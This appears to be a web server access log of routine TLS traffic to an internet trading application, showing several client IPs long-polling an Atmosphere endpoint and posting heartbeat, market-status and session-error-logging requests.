[09/Jan/2026:12:09:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932009821 HTTP/1.1" -
[09/Jan/2026:12:09:01 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932010105 HTTP/1.1" -
[09/Jan/2026:12:09:01 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932010893 HTTP/1.1" -
[09/Jan/2026:12:09:02 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932011329 HTTP/1.1" -
[09/Jan/2026:12:09:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932010457 HTTP/1.1" -
[09/Jan/2026:12:09:04 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:09:04 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:09:05 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932014329 HTTP/1.1" -
[09/Jan/2026:12:09:05 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932014329 HTTP/1.1" -
[09/Jan/2026:12:09:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932014875 HTTP/1.1" -
[09/Jan/2026:12:09:06 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932015236 HTTP/1.1" -
[09/Jan/2026:12:09:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932015917 HTTP/1.1" -
[09/Jan/2026:12:09:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932015484 HTTP/1.1" -
[09/Jan/2026:12:09:08 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932017338 HTTP/1.1" -
[09/Jan/2026:12:09:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932019981 HTTP/1.1" -
[09/Jan/2026:12:09:11 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932020337 HTTP/1.1" -
[09/Jan/2026:12:09:11 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932020337 HTTP/1.1" -
[09/Jan/2026:12:09:11 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932020396 HTTP/1.1" -
[09/Jan/2026:12:09:11 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932020956 HTTP/1.1" -
[09/Jan/2026:12:09:13 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932020555 HTTP/1.1" -
[09/Jan/2026:12:09:14 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932023330 HTTP/1.1" -
[09/Jan/2026:12:09:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932025137 HTTP/1.1" -
[09/Jan/2026:12:09:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932025996 HTTP/1.1" -
[09/Jan/2026:12:09:16 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932025683 HTTP/1.1" -
[09/Jan/2026:12:09:17 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932026327 HTTP/1.1" -
[09/Jan/2026:12:09:17 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932026327 HTTP/1.1" -
[09/Jan/2026:12:09:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932025620 HTTP/1.1" -
[09/Jan/2026:12:09:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:09:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:09:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:09:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:09:20 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932029337 HTTP/1.1" -
[09/Jan/2026:12:09:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932030289 HTTP/1.1" -
[09/Jan/2026:12:09:21 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:09:21 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:09:21 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:09:21 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:09:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932031028 HTTP/1.1" -
[09/Jan/2026:12:09:21 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:09:21 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:09:22 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932030887 HTTP/1.1" -
[09/Jan/2026:12:09:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932030726 HTTP/1.1" -
[09/Jan/2026:12:09:23 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932032337 HTTP/1.1" -
[09/Jan/2026:12:09:23 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932032337 HTTP/1.1" -
[09/Jan/2026:12:09:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:09:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:09:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:09:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:09:26 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932035331 HTTP/1.1" -
[09/Jan/2026:12:09:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932035411 HTTP/1.1" -
[09/Jan/2026:12:09:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932036053 HTTP/1.1" -
[09/Jan/2026:12:09:27 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932036034 HTTP/1.1" -
[09/Jan/2026:12:09:28 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932035798 HTTP/1.1" -
[09/Jan/2026:12:09:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:09:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:09:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:09:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:09:29 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932038332 HTTP/1.1" -
[09/Jan/2026:12:09:29 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932038332 HTTP/1.1" -
[09/Jan/2026:12:09:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932040535 HTTP/1.1" -
[09/Jan/2026:12:09:31 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932041082 HTTP/1.1" -
[09/Jan/2026:12:09:32 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932041326 HTTP/1.1" -
[09/Jan/2026:12:09:32 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932041311 HTTP/1.1" -
[09/Jan/2026:12:09:33 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932040820 HTTP/1.1" -
[09/Jan/2026:12:09:34 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:09:34 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:09:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932044336 HTTP/1.1" -
[09/Jan/2026:12:09:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932044336 HTTP/1.1" -
[09/Jan/2026:12:09:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932045595 HTTP/1.1" -
[09/Jan/2026:12:09:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932046141 HTTP/1.1" -
[09/Jan/2026:12:09:37 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932046544 HTTP/1.1" -
[09/Jan/2026:12:09:38 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932045849 HTTP/1.1" -
[09/Jan/2026:12:09:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932047334 HTTP/1.1" -
[09/Jan/2026:12:09:41 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932050335 HTTP/1.1" -
[09/Jan/2026:12:09:41 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932050336 HTTP/1.1" -
[09/Jan/2026:12:09:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932050698 HTTP/1.1" -
[09/Jan/2026:12:09:42 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932051197 HTTP/1.1" -
[09/Jan/2026:12:09:42 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932051729 HTTP/1.1" -
[09/Jan/2026:12:09:43 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932050909 HTTP/1.1" -
[09/Jan/2026:12:09:44 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932053337 HTTP/1.1" -
[09/Jan/2026:12:09:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932055834 HTTP/1.1" -
[09/Jan/2026:12:09:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932056240 HTTP/1.1" -
[09/Jan/2026:12:09:47 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932056335 HTTP/1.1" -
[09/Jan/2026:12:09:47 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932056335 HTTP/1.1" -
[09/Jan/2026:12:09:48 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932057011 HTTP/1.1" -
